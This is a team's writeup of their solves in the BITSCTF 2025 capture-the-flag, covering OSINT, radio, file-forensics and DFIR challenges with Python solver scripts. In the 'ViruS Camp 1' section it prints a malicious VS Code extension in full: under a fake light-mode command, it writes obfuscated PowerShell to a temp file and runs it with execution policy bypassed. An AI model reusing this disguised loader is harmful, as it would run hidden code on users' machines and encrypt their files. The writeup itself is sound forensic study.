BITS CTF 2025 Writeup
This blog post documents our solves for challenges in the BITSCTF 2025.
Last weekend we participated in our first BITS CTF organized by the BITSkrieg from BITS Pilani, Goa Campus, India. This was a fun jeopardy-style CTF with categories spanning from Web Exploitation, Reverse Engineering, Cryptography, Forensics, PWN, and OSINT. Out of the 848 teams that played the CTF, we scooped the 56 position.🥳🚩
That aside, let’s dive into the solves.
WELCOME - SANITY CHECK
This was an easy challenge to test the player’s sanity. I joined the BITSCTF Discord server and found the flag.
OSINT
HOT PAUSE
The instructions were:
What even is OSINT about this?
nc chals.bitskrieg.in 8000
This is the video that was attached to the challenge. Watch
I played it multiple times then proceeded to use exiftool to view its metadata and see if I could find any hints. I found nothing. I then ran the NC command and saw the first question, asking about what city that concert was in.
1
2
3
nc chals.bitskrieg.in 8000
Welcome secret agent. We've recovered a video from our aliases infiltrating our next target. Your first task is to find out what is our target city.
City Name (all caps):
I paused the video at a point where I felt was unique or peculiar:
I proceeded to use google lens to do a reverse image search and discovered that this was COLDPLAY music group concert that happened in India at Ahmedabad at the Narendra Modi Stadium.
The answer to the first question was AHMEDABAD
. That was the name of the city where the concert happened. I submitted it and got a second question:
1
2
3
4
5
6
nc chals.bitskrieg.in 8000
Welcome secret agent. We've recovered a video from our aliases infiltrating our next target. Your first task is to find out what is our target city.
City Name (all caps): AHMEDABAD
Correct!
Well done! Now you need to find out where our partner agent was sitting.
Block Letter with Bay(For eg. A5,B1 etc.):
For this question I googled the sitting arrangement for the concert and found one useful one from :
Visually inspecting the angle from where the video was taken and comparing to the image above, I had good reasons to think it was taken from section Q. I bruteforced the answer till Q3 got accepted. After submitting it, I got another question:
1
2
3
4
5
6
7
8
9
nc chals.bitskrieg.in 8000
Welcome secret agent. We've recovered a video from our aliases infiltrating our next target. Your first task is to find out what is our target city.
City Name (all caps): AHMEDABAD
Correct!
Well done! Now you need to find out where our partner agent was sitting.
Block Letter with Bay(For eg. A5,B1 etc.): Q3
Correct!
Good work. Now when you hear Chris Martin say "You know I love you so...." for the beat drop, I need you to use your Flipper Zero to send the correct data stream, replicating the wristbands colour exactly. Our enemies should have no clue. Good Luck.
Data Stream:
At first I thought I was colorblind, I tried submitting white, it didn’t work, then tried yellow and orange and it also didnt work. I asked a teammate for help then he sent me to go do some reading in this github repository.
While there I found this specific page where I picked the stream bits for the color yellow:
1
1400 1400 700 700 700 700 1400 2800 700 2100 700 700 700 1400 700 1400 1400 2800 1400 2800 700
I then submitted this as the last answer and was given the flag:
1
2
3
4
5
6
7
8
9
10
11
12
nc chals.bitskrieg.in 8000
Welcome secret agent. We've recovered a video from our aliases infiltrating our next target. Your first task is to find out what is our target city.
City Name (all caps): AHMEDABAD
Correct!
Well done! Now you need to find out where our partner agent was sitting.
Block Letter with Bay(For eg. A5,B1 etc.): Q3
Correct!
Good work. Now when you hear Chris Martin say "You know I love you so...." for the beat drop, I need you to use your Flipper Zero to send the correct data stream, replicating the wristbands colour exactly. Our enemies should have no clue. Good Luck.
Data Stream: 1400 1400 700 700 700 700 1400 2800 700 2100 700 700 700 1400 700 1400 1400 2800 1400 2800 700
Correct!
Good Job agent. Here's your flag, should you choose to accept it: BITSCTF{that_was_a_very_weird_OSINT_challenge_afd12df}
BITSCTF{that_was_a_very_weird_OSINT_challenge_afd12df}
Hardware
%ulation
Description
Shifting keys or something idk.
Overview
We are given a radio signal file, and our goal is to analyze its contents. The challenge likely involves shifting keys or some form of hidden transmission.
Opening the File in Universal Radio Hacker (URH)
Using Universal Radio Hacker (URH) , we load the provided file. Voila! We immediately see the binary data representation of the transmission.
What is URH?
URH is a powerful tool for wireless protocol analysis, supporting Software Defined Radios (SDRs) and providing features like:
- Automatic modulation detection
- Bitstream analysis
- Decoding support for various encodings
- Protocol field inference
- Fuzzing & simulation for attacks
Extracting and Decoding the Binary Data
After obtaining the binary output from URH, I copied it into CyberChef for decoding. No complex encoding schemes or patterns — just a straightforward binary-to-text conversion.
BITSCTF{A_br13f_4nd_g3ntl3_1ntr0duc710n_70_r4di0_h4ck1ng_c5c33558}
Forensics
Symphonies 🕵️♂️🎼
📝 Description
My producer sent me the test file to check. I don’t think he’s good at that. Like HOW CAN YOU NOT SEND A FILE CORRECTLY?? What are you hiding, producer guy?
🔍 Initial Analysis
We’re given a .dwg
file, which is typically an AutoCAD drawing file. However, based on the challenge description, something seems off. The phrase “not sent correctly” hints at a possible format issue.
📜 Hex Inspection
Opening the file in a hex editor, we find the following header:
4D 49 44 49 00 00 00 06
This does not match the expected .dwg
signature. However, it does resemble the MIDI (Musical Instrument Digital Interface) file format, except for one small issue—the MIDI header is incorrect
🎭 Fixing the Header
A valid MIDI file should start with MThd
, which is represented in hex as:
4D 54 68 64
So, we replace:
4D 49 44 49 00 00 00 06 → 4D 54 68 64
After correcting the header, the file becomes a playable MIDI file.
🎼 Playback & Analysis
To inspect the contents of the MIDI file, we use an online MIDI editor:
Opening the file, we notice a sequence of notes with specific values. This suggests that there might be hidden data encoded within the MIDI structure.
🧪 Extracting MIDI Properties
To analyze the MIDI file in detail, we use Python and pretty_midi
to extract note properties:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from midiutil.MidiFile import MIDIFile
import pretty_midi
import pandas as pd
def extract_midi_notes(midi_file_path):
pm = pretty_midi.PrettyMIDI(midi_file_path)
notes = []
for instrument in pm.instruments:
instrument_name = pretty_midi.program_to_instrument_name(instrument.program)
for note in instrument.notes:
note_info = {
'instrument': instrument_name,
'pitch': note.pitch,
'note_name': pretty_midi.note_number_to_name(note.pitch),
'start_time': round(note.start, 3),
'end_time': round(note.end, 3),
'duration': round(note.end - note.start, 3),
'velocity': note.velocity
}
notes.append(note_info)
df = pd.DataFrame(notes)
df = df.sort_values('start_time')
return df
def display_midi_summary(df):
print("\nMIDI File Summary:")
print("-----------------")
print(f"Total notes: {len(df)}")
print(f"Unique instruments: {df['instrument'].nunique()}")
print(f"Duration: {df['end_time'].max():.2f} seconds")
print("\nInstruments used:")
for instrument in df['instrument'].unique():
count = len(df[df['instrument'] == instrument])
print(f"- {instrument}: {count} notes")
print("\nPitch range:")
print(f"Lowest note: {df['note_name'].min()} (MIDI pitch: {df['pitch'].min()})")
print(f"Highest note: {df['note_name'].max()} (MIDI pitch: {df['pitch'].max()})")
if __name__ == "__main__":
midi_file = "chall.mid"
try:
notes_df = extract_midi_notes(midi_file)
display_midi_summary(notes_df)
notes_df.to_csv("midi_notes.csv", index=False)
print("\nNotes saved to 'midi_notes.csv'")
except Exception as e:
print(f"Error processing MIDI file: {str(e)}")
🧪 XORing Notes and Velocity
Analyzing the CSV file, I noticed that the note and velocity values could potentially be converted into ASCII characters. After experimenting, I decided to XOR the two values together to see what hidden message might emerge.
Here’s the code for XORing the two datasets:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def xor_strings(numbers, text):
numbers = [int(x) for x in numbers.split()]
text_values = [ord(c) for c in text]
min_length = min(len(numbers), len(text_values))
result = []
for i in range(min_length):
xored_value = numbers[i] ^ text_values[i]
result.append(xored_value)
return result
numbers_str = "4 56 20 5 101 62 62 81 38 64 77 99 78 20 68 30 21 27 97 46 58 100 27 21 86 77 59 45 9 22 5 32 69 20 101 61 96 85 1 109 69 19 55 60 69 46 36 120 84 13 18 0 52 19 101 18 113 6 14 72 98 20 6 91 21 103 63 5 17 126 20 84 118 34 52 23 120 24 32 66 12 110 86 78 111 83 28 64 80 101 69 118 126 14 31 34 34 54 120 102 71 25 45 28 49 98 23 36 43 70 62 10"
text_str = "Fq@V&jx*_p8<y|tk#sVqCTnJ5}NAmI3Uv!PbW=0Xz2hM7Z@Lg9oB}G6Q%@u1RaYl}WJ3yIK-FWktHmL&SX#}ZfCw8TpI_QnPVRLUsdoUe1Tpm=GWJgqYz-`5h@QtnsMbwEb2^XV4CjAoYjlLn7Z9#HtXPiUvR1N~w3VknH72KXh@N{Ve`41zQ!L8dTuQfoP5IpkdZ~h2MjqkJlEw#TXN93RYiLgYPKcSTsZVoQm#y21t!j3LMFcu|zTh6rNbHwa-9v8VFVpsCINrw=QgU7jlJz2#YpBkLg<3ctWq@SHFvi5G$QxR81-_KmrXnozCTg41pY*}qN6asIwM9WfLZP|o~uA#"
result = xor_strings(numbers_str, text_str)
print("XOR Result (decimal values):")
print(result)
print("\nXOR Result (hex values):")
print([hex(x) for x in result])
print("".join(chr(x) for x in result))
Alternative script you can use to solve it in one go using python’s mido library
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import io
import mido
with open("Demo1", "rb") as f:
data = f.read()
midi_file = io.BytesIO(b"MThd" + data[4:])
mid = mido.MidiFile(file=midi_file)
track = mid.tracks[0]
velocities = []
notes = []
for msg in track:
if msg.type == "note_on":
velocities.append(msg.velocity)
notes.append(msg.note)
ascii_numbers = bytes(notes).decode()
notes = [int(c) for c in ascii_numbers.split()]
print(bytes([a ^ b for a, b in zip(notes, velocities)]).decode())
BITSCTF{y0u_7h0u6h7_y0u_c0uld_6u355_7h15?!_qrtd434}
AutoBots unite
Challenge Overview
We are given a .dwg
file, which is an AutoCAD drawing. The task is to decode hidden data within the file, specifically by analyzing line heights in the drawing that look like they might contain a barcode-like pattern.
Running file command we see we have a .dwg
file
Inspect the .DWG File
Initially, I opened the .dwg
file with an online AutoCAD viewer DWG FastView, but all I saw were random lines, some of which appeared to be different heights. These lines looked a lot like barcode patterns, with subtle variations in height that could represent encoded data.
Convert the DWG to DXF
After some research, I realized that the DXF format (Drawing Exchange Format) could help us extract meaningful data from the drawing. The DXF format is a text-based representation of AutoCAD files, which makes it easier to parse and analyze.
Extract Line Data Using DXF
Next, I converted the .dwg
file into a .dxf
file. Once I had the DXF file, I used the ezdxf
Python library to read the line data. The focus was on the X, Y, and Z coordinates of each line, as well as their length.
Here’s the code I used to process the DXF file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import ezdxf
import math
# Load DXF file
dwg_file = "chall.dxf"
doc = ezdxf.readfile(dwg_file)
msp = doc.modelspace()
# Process each LINE entity
for entity in msp.query("LINE"):
start_x, start_y, start_z = entity.dxf.start
end_x, end_y, end_z = entity.dxf.end
length = math.dist(entity.dxf.start, entity.dxf.end)
# Print split values
print(f"Start (X, Y, Z): ({start_x:.2f}, {start_y:.2f}, {start_z:.2f})")
print(f"End (X, Y, Z): ({end_x:.2f}, {end_y:.2f}, {end_z:.2f})")
print(f"Length: {length:.2f}")
print("-" * 40)
Identify Interesting Patterns
While inspecting the output, I noticed that the X values were fluctuating a lot more than the Y and Z values. After analyzing the data, I discovered that the most common difference between X values was 42.
Decoding the Data
I hypothesized that the variation in the X coordinates could correspond to numbers. After subtracting the constant offset 42 from each of the X values, I converted the result into ASCII characters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
numbers = [
43.02, 42.68, 42.51, 42.98, 42.80, 42.49, 43.09, 42.81, 42.57, 43.20,
42.76, 43.22, 42.50, 42.84, 42.64, 43.07, 42.74, 42.56, 43.18, 42.87,
42.48, 43.17, 42.86, 42.89, 43.03, 42.70, 42.54, 43.10, 42.88, 42.55,
43.15, 42.66, 42.73, 42.84, 42.83, 42.67, 42.84, 42.70, 43.23, 42.98,
42.52, 43.14, 42.99, 42.48, 43.00, 42.51, 43.15, 42.95, 42.52, 43.14,
42.51, 42.95, 42.48, 43.18, 42.51, 43.14, 42.52, 43.16, 42.51, 43.00,
42.95, 42.52, 43.15, 43.02, 42.95, 43.04, 42.51, 43.04, 42.51, 42.95,
42.48, 43.07, 42.49, 43.09, 43.00, 42.48, 43.10, 42.51, 43.25, 42.90,
42.99, 42.65, 42.52, 43.19, 42.82, 42.53, 43.04, 42.78, 42.49, 43.12,
42.75, 42.35, 43.11, 42.69, 42.57, 43.21, 42.76, 43.09, 42.67, 43.06,
42.48, 43.00, 42.70, 43.22, 42.72, 42.51, 43.16, 42.66, 42.50, 43.17,
42.87, 43.13, 42.82, 42.55, 42.86, 43.10, 42.89, 43.18, 42.80, 42.54,
42.97, 42.81, 43.07, 42.84, 42.49, 43.03, 42.83, 43.14, 42.84, 42.55,
43.18, 42.90, 42.51, 42.66, 42.50, 43.15, 42.54, 42.80, 42.57, 43.13,
42.89, 43.09, 42.69, 42.53, 42.74, 43.20, 42.52, 42.65, 42.49, 43.19,
42.68, 43.07, 42.76, 43.02, 42.48, 43.12, 42.67, 42.56, 42.86, 43.10,
42.81, 43.06, 42.88, 43.14, 42.87, 43.22, 42.49, 43.17, 42.77, 42.55,
43.04, 42.83, 42.48, 43.03, 42.75, 42.56, 42.98, 42.89, 43.18, 42.70,
42.50, 43.08, 42.78, 42.57, 43.16, 42.87, 43.22, 42.51, 43.00, 42.82,
42.53, 43.11, 42.85, 42.49, 42.97, 42.86, 42.54, 42.99, 42.75, 43.13,
42.52, 42.80, 42.48, 42.87, 43.09
]
# Convert to decimal values and ASCII characters
decimal_values = [round((num - 42) * 100) for num in numbers]
ascii_chars = ''.join(chr(val) for val in decimal_values)
# Print the decimal values and ASCII characters
print("Decimal values:", decimal_values)
print("ASCII String:", ascii_chars)
BITSCTF{b4rc0d3s_4r3_0v3r4t3d_4sf_h3h3_0k1md0n3}
Finders_Keepers
Description
We are given a PNG file, but at first glance, it looks normal. However, hidden data might be embedded, so we begin investigating.
Step 1: Extracting Hidden Files
Using foremost
, we attempt to extract any embedded files from weird.png
:
1
foremost -i weird.png -T
This process reveals two extracted files:
- A JPG image
- A WAV audio file
Step 2: Analyzing the JPG for Hidden Data
Opening the JPG in Sonic Visualizer, we apply a spectrogram layer and notice a Morse code pattern embedded in the image.
Step 3: Decoding the Morse Code
To decode the Morse message, I upload the WAV file to morsecode.world.
The decoded text
1
SNOOOOOOPPPPPPP
Step 4: Extracting Hidden Data from the JPG
Since the Morse message hints at something hidden, we use steganography tools to check the JPG. Running steghide
to extract embedded data:
BITSCTF{1_4m_5l33py_1256AE76}
DFIR
BABY DFIR
This was an easy challenge in the DFIR category. The description read:
I promise this is actually easy.
A file abc.ad1
was attached to the challenge. I downloaded the file and ran the head command on the file that actually suggested this might be some host machine image with just the file I am looking for:
1
2
3
4
5
6
7
8
9
head abc.ad1
ADSEGMENTEDFILE�]ADLOGICALIMAGEu�AD\��C:\Users\vboxuser\DesktopC:\Users\vboxuser\Desktop]��␦
desktop.ini��x���K
a����3�␦�e����K,&S3�\�x<ߔ�N��;�t��|ԩ�$b����␦��ք#;J���i���qe���rRI���!#␦n��^ą�ҺȮ�>|�vż����&-QL�.�ꂉ)�7���J˜�2�j�w^L_W�z�2�1�282�20falsetfalse�true�true�true�false�true!P 9e36cc3537ee9ee1e3b10fa4e761045bP(7726f55012e1e26cc762c9982e7c6c54ca7bb303��flag.txt��x�s�
vq�N�/JM�ɩ�/��-�I���+)ʏ/ɏwq�
�74�0�H�L��|�147A20250206T225151.34814620250206T225125.094082� 20250206false�false�true�falsefalse*falseBtruevP 3677fb16caa7ba1e220668079cf26838P(035037471f31c918556e266b9bfc1bbd4c026ce5ATTRGUID�s؊��jG�␦6���k
�5Lv!G���␦3�7���CWO�ʀ6���2��ðL�S`t��� ~J_�K��h��d�d�d:~O�2�(��X
EUB��B�����Ay���j�=�M�s܁�6^��5b�E�e.*`^��ey\bC���ZMq@P
3�k��M�>!���uP��@'#$L�X��\e��^�D��_U�LOCSGUID>���bI�D�X��ho�
So how then do I get to the flag.txt
file? I downloaded FTK imager tool on my windows machine and used it to open the given file. That gave me access to the flag as illustrated below:
ViruS Camp 1
Alice was just hired as a junior dev and she is absolutely obsessed with light themes. While customizing her work laptop she suddenly found out that their top secret flag was encrypted. Can you figure out how this happened and unconver a few flags in the process? https://drive.google.com/file/d/1i2D_rbLjuqAIqtcqipuT95sHcTAOLCBC/view?usp=sharing
Steps to Solve:
File Analysis: We are provided with an
.adi
file. Using FTK Imager on the desktop, the.adi
file reveals another file:flag.enc
. This indicates that the encryption method requires a secret key, which we need to extract.Discovering the Secret Key: After further investigation, a
vscode
folder is found containing a JavaScript extension fileextension.js
. Examining the contents of this file, we find a block of obfuscated code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
var ownKeys = function(o) {
ownKeys = Object.getOwnPropertyNames || function (o) {
var ar = [];
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
return ar;
};
return ownKeys(o);
};
return function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
__setModuleDefault(result, mod);
return result;
};
})();
Object.defineProperty(exports, "__esModule", { value: true });
exports.activate = activate;
exports.deactivate = deactivate;
const vscode = __importStar(require("vscode"));
const child_process_1 = require("child_process");
const fs = __importStar(require("fs"));
function activate(context) {
const command = vscode.commands.registerCommand("rs", () => {
const scriptContent = `$wy7qIGPnm36HpvjrL2TMUaRbz = "K0QZjJ3bG1CIlxWaGRXdw5WakASblRXStUmdv1WZSpQDK0QKoU2cvx2Qu0WYlJHdTRXdvRiCNkCKlN3bsNkLtFWZyR3UvRHc5J3YkoQDK0QKos2YvxmQsFmbpZEazVHbG5SbhVmc0N1b0BXeyNGJK0QKoR3ZuVGTuMXZ0lnQulWYsBHJgwCMgwyclRXeC5WahxGckgSZ0lmcX5SbhVmc0N1b0BXeyNGJK0gCNkSZ0lmcXpjOdVGZv1UbhVmc0N1b0BXeyNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFIsI3b0BXeyNmblRCIs0WYlJHdTRXdvRCKtFWZyR3UvRHc5J3QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5NFI0NWZqJ2TtcXZOBSPg0WYlJHdT9GdwlncjRiCNkSZ0FWZyNkO60VZk9WTlxWaG5yTJ5SblR3c5N1WgwSZslmR0VHc0V3bkgSbhVmc0NVZslmRu8USu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3U0V3bkoQDK0QKlxWaGRXdw5WakgyclRXeCxGbBRWYlJlO60VZslmRu8USu0WZ0NXeTtFI9AyclRXeC5WahxGckoQDK0QKoI3b0BXeyNmbFVGdhVmcD5yclFGJg0DIy9Gdwlncj5WZkoQDK0wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIn5WakRWYQ5yclFGJK0wQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5yclFGJK0gdpRCI9AiVJ5yclFGJK0QeltGJg0DI5V2SuMXZhRiCNkCKlRXYlJ3Q6oTXzVWQukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIzVWYkoQDK0gIj5WZucWYsZGXcB3b0t2clREXcJXZzVHevJmdcx1cyV2cVxFX6MkIg0DIlxWaGRXdwRXdvRiCNIyZuBnLnFGbmxFXw9GdrNXZExFXyV2c1h3biZHXcNnclNXVcxlODJCI9ASZslmR0VHculGJK0gCNkSZ6l2U2lGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgYXakoQDpUmepNVeltGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgkXZrRiCNkycu9Wa0FmclRXakACL0xWYzRCIsQmcvd3czFGckgyclRXeCVmdpJXZEhTO4IzYmJlL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DIzVGd5JUZ2lmclRGJK0gCNAiNxASPgUmepNldpRiCNACIgIzMg0DIlpXaTlXZrRiCNADMwATMg0DIz52bpRXYyVGdpRiCNkCOwgHMscDM4BDL2ADewwSNwgHMsQDM4BDLzADewwiMwgHMsEDM4BDKd11WlRXeCtFI9ACdsF2ckoQDiQmcwc3czRDU0NjcjNzU51kIg0DIkJ3b3N3chBHJ" ;
$9U5RgiwHSYtbsoLuD3Vf6 = $wy7qIGPnm36HpvjrL2TMUaRbz.ToCharArray() ; [array]::Reverse($9U5RgiwHSYtbsoLuD3Vf6) ; -join $9U5RgiwHSYtbsoLuD3Vf6 2>&1> $null ;
$FHG7xpKlVqaDNgu1c2Utw = [systeM.tEXT.ENCODIng]::uTf8.geTStRInG([sYsTeM.CoNVeRt]::FROMBase64StRIng("$9U5RgiwHSYtbsoLuD3Vf6")) ;
$9ozWfHXdm8eIBYru = "InV"+"okE"+"-ex"+"prE"+"SsI"+"ON" ; new-aliaS -Name PwN -ValUe $9ozWfHXdm8eIBYru -fOrce ; pwn $FHG7xpKlVqaDNgu1c2Utw ;`;
const scriptPath = `C:\\Users\\vboxuser\\AppData\\Local\\Temp\\temp0001`;
try {
fs.writeFileSync(scriptPath, scriptContent);
vscode.window.showInformationMessage(`The light mode will activate in a few minutes.`);
}
catch (error) {
vscode.window.showErrorMessage(`Error activating light mode.`);
}
(0, child_process_1.exec)(`powershell.exe -ExecutionPolicy Bypass -File "${scriptPath}"`, (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error.message}`);
}
if (stderr) {
console.error(`Stderr: ${stderr}`);
}
console.log(`Stdout: ${stdout}`);
});
});
context.subscriptions.push(command);
}
// VGhlIDFzdCBmbGFnIGlzOiBCSVRTQ1RGe0gwd19jNG5fdlNfYzBkM19sM3RfeTB1X3B1Ymwxc2hfbTRsMWNpb3VzX2V4NzNuc2kwbnNfU09fZWFzaWx5Pz9fNWE3YjMzNmN9
function deactivate() { }
//# sourceMappingURL=extension.js.map
The last commented line looks like base64 decrypting it we get the flag to the first challenge
BITSCTF{H0w_c4n_vS_c0d3_l3t_y0u_publ1sh_m4l1cious_ex73nsi0ns_SO_easily??_5a7b336c}
Virus Camp 2
Recap from Part 1
In the previous part, we analyzed the encrypted file (flag.enc
) and identified that it was encrypted using AES-CBC. The key and IV were derived using PBKDF2 with a fixed salt and SHA-1 hashing. With this knowledge, we proceeded to decrypt the file and extract the hidden contents.
Decrypting the File
To decrypt the file, we used a Python script that follows these key steps:
Recreating the Key & IV:
- The password is used as input for PBKDF2-HMAC-SHA1.
- A predefined salt (
\x01\x02\x03\x04\x05\x06\x07\x08
) ensures we derive the correct key. - The function derives a 32-byte key and a 16-byte IV using 10,000 iterations.
AES-CBC Decryption:
- Using the derived key and IV, we initialize an AES cipher in CBC mode.
- The encrypted data is read from
flag.enc
and decrypted. - The decrypted data undergoes PKCS7 padding removal.
Saving the Output:
- The decrypted content is written to
flag_decrypted.png
.
- The decrypted content is written to
Python Script for Decryption
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os
def decrypt_file(encrypted_file, output_file, password):
password = password.encode()
salt = bytes([0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08])
iterations = 10000
key_size = 32
iv_size = 16
kdf = PBKDF2HMAC(
algorithm=hashes.SHA1(),
length=key_size + iv_size,
salt=salt,
iterations=iterations,
backend=default_backend()
)
derived_bytes = kdf.derive(password)
key = derived_bytes[:key_size]
iv = derived_bytes[key_size:key_size + iv_size]
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
with open(encrypted_file, 'rb') as f:
encrypted_data = f.read()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
padding_length = decrypted_data[-1]
decrypted_data = decrypted_data[:-padding_length]
with open(output_file, 'wb') as f:
f.write(decrypted_data)
if __name__ == "__main__":
encrypted_file = "flag.enc"
output_file = "flag_decrypted.png"
password = "MyS3cr3tP4ssw0rd"
decrypt_file(encrypted_file, output_file, password)
print(f"File decrypted successfully to {output_file}")
Extracting the Flag
Once decrypted, the output file (flag_decrypted.png
) contained the hidden flag. Opening the PNG revealed the final flag